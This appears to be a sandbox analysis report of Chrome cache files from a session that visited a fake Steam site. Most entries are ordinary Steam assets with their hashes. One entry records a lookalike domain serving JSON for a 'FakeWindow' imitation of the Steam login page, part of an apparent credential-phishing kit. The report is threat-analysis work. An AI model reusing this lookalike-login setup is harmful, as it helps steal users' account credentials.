SHA1:	4BD619A623263310FA75319C66F891E2D125B11D
SHA-256:	B9A580F52E3BD2D445831A2FCB6765A518461EAD8A252CB9410C145C51936C1A
SHA-512:	67C0FE10B0B8D4949DA4B1595C985C603751738FF2F1CA2B181BB6195CACF8478DBDE0F30101476803D642CEEF0D7717C682E9C82BE4DC7A096E88CA023B28D7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx..[....u?..."...".,:.cAY?.@..T..L4.h.I`..4...D..m&5n.t.M.i.4.@..M.N"F.....I.U............u...{.1F..x.....s.........v.5...9D...h........y......l.......d...H.;...x\....K$.!<W....CX......-.=K7.A4..f[.]-.@w.y]........1}.u.d........].tv/m'......e.2#.G.@.....b.g..4h..8./.....~..\|2.".....1.$. _g.G.r.dh.j....k.).../...#..c..7V..Y..#...A...5.o...".k:=%4._...UI......&k.&b.......P^V&..JXC..t..^on.t.g.PCA.).........-G..:2{O..i..1.3h6_G#j...}u]_SXp.3....I..Z.h`Os.09..w......4.......W.....e...r....x....G.V..K.FN.........=D../.. ..+.....7..?.}y..$I8....Q..;X r.B.z.K^.rGH..h...cT.N.6-..B[../.....}J_......X.....p{..B..=...bsl35%[.V...\|.{#.....:NL1..i..1cO.&.Q...[...+.(.M....D.w..;......q=./.WZ[.A..ynb5.2s...*.3....<..X+.:j..o_.i`A....6..?p.\|cPA..~....Zq.../......n....OZ....0.....:2...6U..,..ko.... rh$(....../.'......ZN:r,N<bL..p.^...../...>X...y`6.E.5?.au.

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64431)
Category:	dropped
Size (bytes):	170681
Entropy (8bit):	5.649685917515725
Encrypted:	false
SSDEEP:	3072:92u8UVOyWhouuQAGt7xZtsbMnBBsb0vaROMMNefopab0ErWlAuROMMNefopab0qr:92u8YOvPuktxYROMMNefopab0ErWlAu1
MD5:	B52A187C21D0264BC01F11DF5E8DBC40
SHA1:	5DECA53E04C9A303B79F0BAF6EA8F832D3795BA8
SHA-256:	101204743A44875D6879E53352804F2D8442832B0E33A76C64641FA932E2C88B
SHA-512:	FAC8D5B2CDE067E3F1A8E8534F6A53546AF73A0D7BF95B893863E7EF6CE019B7B878884C7AC6A5F4A93B81FAA6789D6A687E21BE646412F26A4ED2B0BEB06FE3
Malicious:	false
Reputation:	low
Preview:	(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const o of i)if(o.type==="childList")for(const c of o.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const o={};return i.integrity&&(o.integrity=i.integrity),i.referrerPolicy&&(o.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?o.credentials="include":i.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(i){if(i.ep)return;i.ep=!0;const o=n(i);fetch(i.href,o)}})();function lt(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ut={exports:{}},ke={};const Ot=React;/*. @license React. * react-jsx-runtime.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licens

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (22676), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	22842
Entropy (8bit):	4.8737880932940385
Encrypted:	false
SSDEEP:	384:+Yic/Sf4+JAslpN+MhZxEOIqisxp9RO6orsH1XQSmRyeyZ/84t1SSzNQvIkoVMxc:qx4+blpNN7VMxsgE3kSd5/VQ47hD
MD5:	757750902210FF3C0D12DEE4DC5165C6
SHA1:	A3599CA4BD5DA9FB9C83E26813EF62327C541566
SHA-256:	72FF7D67DDC7BD23885CBBA07F3889BE27B50CB597BA41FD546343416676BA67
SHA-512:	EF5CB66E561D5F208A872C65B6732BDAA082D421F9815C8A5A439D5E749890E032C2309C1D7EC66D93D1F897941BB5E2C5F860FD9CF8E13ADFBF1AB60AECA27B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/marketing_english-json.js?contenthash=2724d0de18cba8996ab6
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[5231],{72022:e=>{e.exports=JSON.parse('{"language":"english","label_play_free_until_custom":"Play for free until %1$s.","promo_ends_custom":"Offer ends %1$s.","label_play_free_generic":"Play for Free!","label_free_weekend":"Free Weekend","label_free_week":"Free Week","label_just_updated":"Just Updated","label_for_a_limited_time_only":"FOR A LIMITED TIME ONLY","msg_prepurchase_and_play_beta_now":"Pre-Purchase and Play the Beta Now!","msg_play_beta_now":"PLAY THE BETA NOW!","msg_prepurchase_and_get_beta_access":"Pre-Purchase and get Beta Access","msg_steam_workshop_now_available":"Steam Workshop Now Available","msg_now_with_steam_workshop":"Now with Steam Workshop","msg_now_with_steamworks":"Now with Steamworks","msg_now_available_on_steamos":"Now Availab

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	288
Entropy (8bit):	4.761938384522366
Encrypted:	false
SSDEEP:	6:YWQmDoHrx73iANXr4aim6CQEngoM/eSEzXSvjDMqLM8ErBXjWORoR3C6:YWY1iOXr4zmDgovXSLDiVLoBT
MD5:	BB3005C3415216FB519AA4CE74450AD5
SHA1:	D933580E51F57E3DAA1CC6565A23F73DA33ED24F
SHA-256:	BDF2799A3F8C412CEA233B71D856FF4801E4B38CA962621A03CAE2EBE8C54E14
SHA-512:	8C6C4D4C0398F25F66C866758ACF0FC9D5740E723B263831A6EC3CADADB498342359B49154EDB2E861C6DAB6FFE4C1437EA8D6B70A96049E3B4DB69F0FDDA22F
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e075157564c615c430472585c57505e
Preview:	{"success":true,"service":"Steam","iframe":true,"timestamp":1728213654463.3843,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{"isDesktop":true,"isInternal":false}}

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansThin4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	118736
Entropy (8bit):	6.0569560995718
Encrypted:	false
SSDEEP:	1536:GAAAAAAAgsAAAYgIAAAAsAuErzzzz6mfzzVCA9zzzzzzdp/koLAGXImE98YfgNi9:kErZDE9BfgNiX9k3SDHewStfNwS0fj9
MD5:	CE6BDA6643B662A41B9FB570BDF72F83
SHA1:	87BCF1D2820B476AAEAEA91DC7F6DBEDD73C1CB8
SHA-256:	0ADF4D5EDBC82D28879FDFAAF7274BA05162FF8CBBDA816D69ED52F1DAE547F6
SHA-512:	8023DA9F9619D34D4E5F7C819A96356485F73FDDCB8ADB452F3CEEFA8C969C16CA78A8C8D02D8E7A213EB9C5BBE5C50745BA7602E0EE2FE36D2742FB3E979C86
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Thin.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS".j....l..j.GSUB.d....k.....OS/2t..........`cmap.d..........cvt E...........fpgm.6!.........gasp............glyf;9.........Thead.z.;.......6hhea...........$hmtxj4.w...8....locaijV... ....maxp........... name............post.......\|....prep...........................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............)........................ .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1667), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	18486
Entropy (8bit):	5.5236584552330745
Encrypted:	false
SSDEEP:	384:QwtVMAjYb2JalUNlpczHK7DYiHiEiN/mm+pqOw6GNNZhweP8/G:QmS6FJJNzczHK7DFHix/T+pqOwlNzv
MD5:	B730C2B64C5E23E7B97343A43BE0EAE9
SHA1:	1451A3BEE6B72FB0BD049CB8B84CC5FAF20AE598
SHA-256:	4EC40EBE11519D62A8C62FF92266FFA860A7C38259DC113D819CE91E083BEE49
SHA-512:	D2E451FC4CA0F0FAED06E9B05281FD07BE2C3D2641160F5662D3ADAAB0026EB6CD70E7E6F093178A70C656E368E958FA6F93DEEAE59C7F7E142437B27BF99584
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english
Preview:	...responsive_page_frame {...position: relative;..}....body.movescrolltocontent .responsive_page_frame {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;...overflow: auto;..}....body.overflow_hidden,..body.overflow_hidden .responsive_page_frame {...overflow: hidden;...position: relative;..}....html.responsive {...height: 100%;..}....html.responsive body {...min-height: 100%;...height: auto;...position: relative;..}....html.responsive body.movescrolltocontent {...position: fixed;...top: 0;...right: 0;...bottom: 0;...left: 0;..}.....responsive_page_content {..}.....partner_events .responsive_page_content {.. height: 100vh;..}.....responsive_page_menu_ctn {...position: fixed;...top: 0;...bottom: 0;...overflow: hidden;.....background: black;.....z-index: 30;...width: 280px;..}.....responsive_page_frame:not(.in_menu_drag) .responsive_page_menu_ctn {...transition: left 0.5s, right 0.5s;..}.....responsive_page_menu_ctn.mainmenu {...left: -280px;..}.....responsive_page_menu_

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 554 x 271, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	202593
Entropy (8bit):	7.996848192202674
Encrypted:	true
SSDEEP:	3072:9RJJ+0NcfaVXHbin/ENV96H7aZ4CQwYiGVjrS2lAbl6JXKT8fNRjFLTlz8CJ:mtnso7e4CFYiGVi1bl6YT8fdZTJ
MD5:	88319D4D76E896A40C655D3F62EFB104
SHA1:	AF044A1B235CECFC9A551EA124E76A82FB6D21A9
SHA-256:	88D4D1C9BD11D30037635C8496A5F253EA440174D20C81FD227F60CC33E12D65
SHA-512:	76224F95B6F0B8CE783B7ED7D1BC7F0CFFACBF668E4B6D53D390DD0E1847F8F1A4F624A5B66102E72EABA3425DCD05637F178A028BD6A4E869C0D7BE1766DE57
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_example.png
Preview:	.PNG........IHDR............l......pHYs.................sRGB.........gAMA......a.....IDATx.......u.......}.{=.@71...... )q.Iq.%Sf YJ.I.,...;.D6].4R.$.TJ.D..XQY.D.bhJ.hQ"E..I.........4....o~....a.....&.$......{...o....3..p\..........0.{...~.......}.q.]g;Q...p!.E..~....7...y.J.......5~.2.......8O@.4.;.E.+.,m.....h..."...w.!.A..-.!.l;.....W(.NL....xQ.......#DI....{j.L..D.o.....:..f>\.F.[.&. ...9.\.G4,H...!c...G...*..D..N..z.u:..$.....0...rmL...n.T(..p;m&._([W.U..n..0.Q.AE.%q..8F.qQ....Ov.........$+Q.I....3i..I.M6.~V]..j.....d....d./.9..9.n.u:...z."......T..<l.Bg.O..`9.w,.d..(k[<K.C.......+..4K....f.W.".L/S.y..e8.../BY...%L....6\g...L.}../....Y.j....._.K.......?7].7...v...@....#A.L..%..H....T..L...V@.fD<..P.D..O{..8. ..Gi.....J+..2.xsa#...`....&.D[..z.......t... I..Y..v.......B.f..V&S6d.tt...$.:S.....r`uh.m....@..........J..M.g.6.].<..~ .4;K..T.f."..{.p..Q..Z..-..A..]..z~.zH2m,...........P.-k.i...J[<1eP.....h&`Xhs.f..3.,..Ksp......_.,N...\.&v.J....).F.

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1213
Entropy (8bit):	7.7842557765994975
Encrypted:	false
SSDEEP:	24:w/6cYW7BnecJjySaePLV9jHFMVHqAQw0hPtaElGb4RhMbEoEq5n/xE:w/6a7BESPzrjH+9qAUl04wfE4n/xE
MD5:	648BD4BAA41A25DB3A6B3D9FC219301D
SHA1:	6B86B2D39C39C99DC3C1449CD15486EAFFF24ED3
SHA-256:	AD4D8A190B5C132245EAB0FCC05D8E363D11FFE34B09E48568FF2499F5B99793
SHA-512:	C16DE7711D99E71F34011F709CEDC3C27AC808182DC9682905B5C75825450DC7676057A3A7BD018AA293869920F13C98BAC91092A23C35341C8B2288ACBBCEB9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_icon.png
Preview:	.PNG........IHDR.............;0......pHYs.................sRGB.........gAMA......a....RIDATx..WmLSW.~n).....2>Dt.%`G..."j..>.#.1..>..Lf...M..h.f.d.tY....H..1..4.[b;.&.a.)..W....g.^... ..<..s....y.9..s..........2Z......,[>T.R.t..]V...1.)..D. ..J....L.......:.D....Rf....2...e......0...Ic......cj.....I1...t...S7.F.v!..'.....2\|........z.~..]....<...........0m._>.......89"^.....1.`.).O.v...A.aK!L&..`owT........................u..\.......f.t..X......k.......g.[......"..\|.Zl.........../...\|...j...YP7..2......ui.......3.\..J..Q=..-l.\.i....M.:.............S...0..+-..Z5....5.=.1.A>....a..~m3.w=3S...6..).X$./.ab........g.op..."c.eYr...N...z..O..Ri..\|<..{uC(....T]t.........._T....E,.p..L..(......0:v............h.%gp....s3.ipM?.W.x.eH.\..-.........06.....D...(=....ym.......u."2<...&X...V...U.S........'.i..G..Z.whq....?.\...W..v..8T7..v..#$...>..v<$b$o.E.BE.....h....w.CI.....:..*l....~..M..........$Z............,.Q@X..T..@.._`cB..J.U..j....v.-...........9..

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 439 x 170, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22513
Entropy (8bit):	7.972372850976774
Encrypted:	false
SSDEEP:	384:mXE05G0jCZQZ1CDMpbltRByo7gVKjb2gWH4vvrSvrrBcyWh0VrS9Hzo05HOxLECN:c35G7ZGCDIzBH3b2gWNTvlX4uDpD
MD5:	4DDDFE80CE9184F5FCB77A8735791E69
SHA1:	475C4B22242AD7DCABF0E7F43E09B066D75B13AF
SHA-256:	87682460EF234C5CDD98375EEA1F03CC165947B3AEA57DEEC37D552B32BA29EC
SHA-512:	AE6C464BDA07B5FBB341A8ADBF4353ADBA197186BECDCA15AE4821592B0F35176B4869B38C43084BEE17547374A1834929FF760D8173721228DF7027DA39A464
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3900 x 2550, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	2916320
Entropy (8bit):	7.996029453632781
Encrypted:	true
SSDEEP:	49152:9KGMHacbeYT4Q+3M2gWQZANiUloUaCodfB/I85PW0bpMGsuPIXc/:8iTY1+cVZ6loUyC85+0aGp
MD5:	EBE8E0DBDC3656F997410A7EFB3AA7E1
SHA1:	4FA1301406D089FCC5D9D39A5D4D5781EC7A2B22
SHA-256:	23B5951E25775A29D989EB13476918C1A2B7A60DBA08840069E808F04D53A06B
SHA-512:	28674C976F3B22FCBD664EF24DAF2729E2309A016B3F76687737928B68171D3216D4D5BF1031C7F3E64923B0A8AEECF854B869C7D6337F0D667C932AF35721DD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/web_hero/web_hero_english.png
Preview:	.PNG........IHDR...<.................tEXtSoftware.Adobe ImageReadyq.e<.,..IDATx....`........!7F.."PA<.......w..w.._.x.Q.z.Q@.-j.............$...0..rg..f..;...{.L..).};....7.;....,...................0...................<.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D&........A.,.....@..H'.........m......j.kjw...{oYyE......kk.....vG..B.........a2.;u..s......#.w.}...B..Gu.........Dd.......J;.w...n.R.ykQ..Ct.....F......2x..!...........H B...... .$Y.\P..+........>...........2x.C..2d.A.........x.........g...m../(..RX.u;........<`..AC...1lh..D.......D..6.....H.f.e.W....vsA..n.C....v&.d:e..G.s...efd.!......:.............K.Z._Pt.........n]...2...F.w.pz...... "B...... vV...9../[Y.........@y..^r.......Fo...

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	1278
Entropy (8bit):	6.9904915779422545
Encrypted:	false
SSDEEP:	24:+jVgXal1hQWwjx82lY2T3+VVMLoyJ3V+GGY8nLPewOd:zgzNn2KgLrJ3ZL8DdOd
MD5:	A4AD1737E878B031DE37EDF234CB1283
SHA1:	1BCDAAB7E0C225DF693E69704EB7555E120657A5
SHA-256:	B22C73A2ED7BE863D4779BBE6DB4C9D4078C453D7118C0A6F70ACAD0108A9F23
SHA-512:	973404080C1BD98492DAA385E49ED4FF53D847F09F16A18FC3BBB0EBD4FCD5A18175FC32325A2BA93A4E2C39B619070C30C1B9BCF30B37D7DD3EFECDD91018EC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.gif
Preview:	GIF89a.......UV\........RTZ......TV\PRX........8:A\]c.....................................BDKACI...57>!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:95DFDEB47F2E11EE8716FE6E5DEA6C2D" xmpMM:DocumentID="xmp.did:95DFDEB57F2E11EE8716FE6E5DEA6C2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:95DFDEB27F2E11EE8716FE6E5DEA6C2D" stRef:documentID="xmp.did:95DFDEB37F2E11EE8716FE6E5DEA6C2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.............................................................................................

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 690 x 1398, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	256364
Entropy (8bit):	7.992281401208544
Encrypted:	true
SSDEEP:	6144:vqswArZbdG/0wtJ2xZ73xzCn7w5KXj4Lb+dqML:TJdGSxZdo0sj++V
MD5:	C825B8122182802B91860D2EE93A3673
SHA1:	E9469C6D4B1052F24F68910C558A35DD9ABCC7C5
SHA-256:	7CDB8C32814C2C3062F5B5BDE0B82B1DCA917F3D70D8F0C1F6D7163CC6EBA4F0
SHA-512:	C070BE903656E47249395C25D218244F1299F1A7F9801253E5071CD6AA84A8281932C49BF33B85FD4172EEAFD4C97BB89B0F83648540042A38DDB3FA0C0C858E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......v.....f._.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:BB036D2E468C11EDB387FB043C60A269" xmpMM:InstanceID="xmp.iid:BB036D2D468C11EDB387FB043C60A269" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d4abc37-e1c4-4542-87e7-6ceb3124c2bd" stRef:documentID="adobe:docid:photoshop:e32f5b3b-edae-344e-8ae3-b5fef5af14d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......~IDATx....\U..

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (547)
Category:	dropped
Size (bytes):	469790
Entropy (8bit):	5.084911175033798
Encrypted:	false
SSDEEP:	6144:zK8SyEGdEXdujYWUl/plq/pGlgFld1HmcI48VirY7IXtu2Y5W5ZbHtQTiTXu5bgs:fljHmcI4q5W5FHttCnuJq7CjhBK1
MD5:	C811575FD210AF968E09CAA681917B9B
SHA1:	0BF0FF43044448711B33453388C3A24D99E6CC9C
SHA-256:	D2F0522008BFF05C6434E48AC8F11F7464331436A4D5D96A14A058A81A75C82E
SHA-512:	D2234D9E8DCC96BCA55FAFB83BB327F87C29AE8433FC296C48BE3EF8C9A21A0A4305E14823E75416951EECD6221F56FBBB8C89D44B244A27BE7B6BEA310F2FD1
Malicious:	false
Reputation:	low
Preview:	/! jQuery UI - v1.11.3 - 2015-02-12. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT /..(function( factory ) {..if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define([ "jquery" ], factory );..} else {....// Browser globals...factory( jQuery );..}.}(function( $ ) {./!. * jQuery UI Core 1.11.3. * http://jqueryui.com. . Copyright jQuery Foundation and

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/v6/logo_steam_footer.png
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
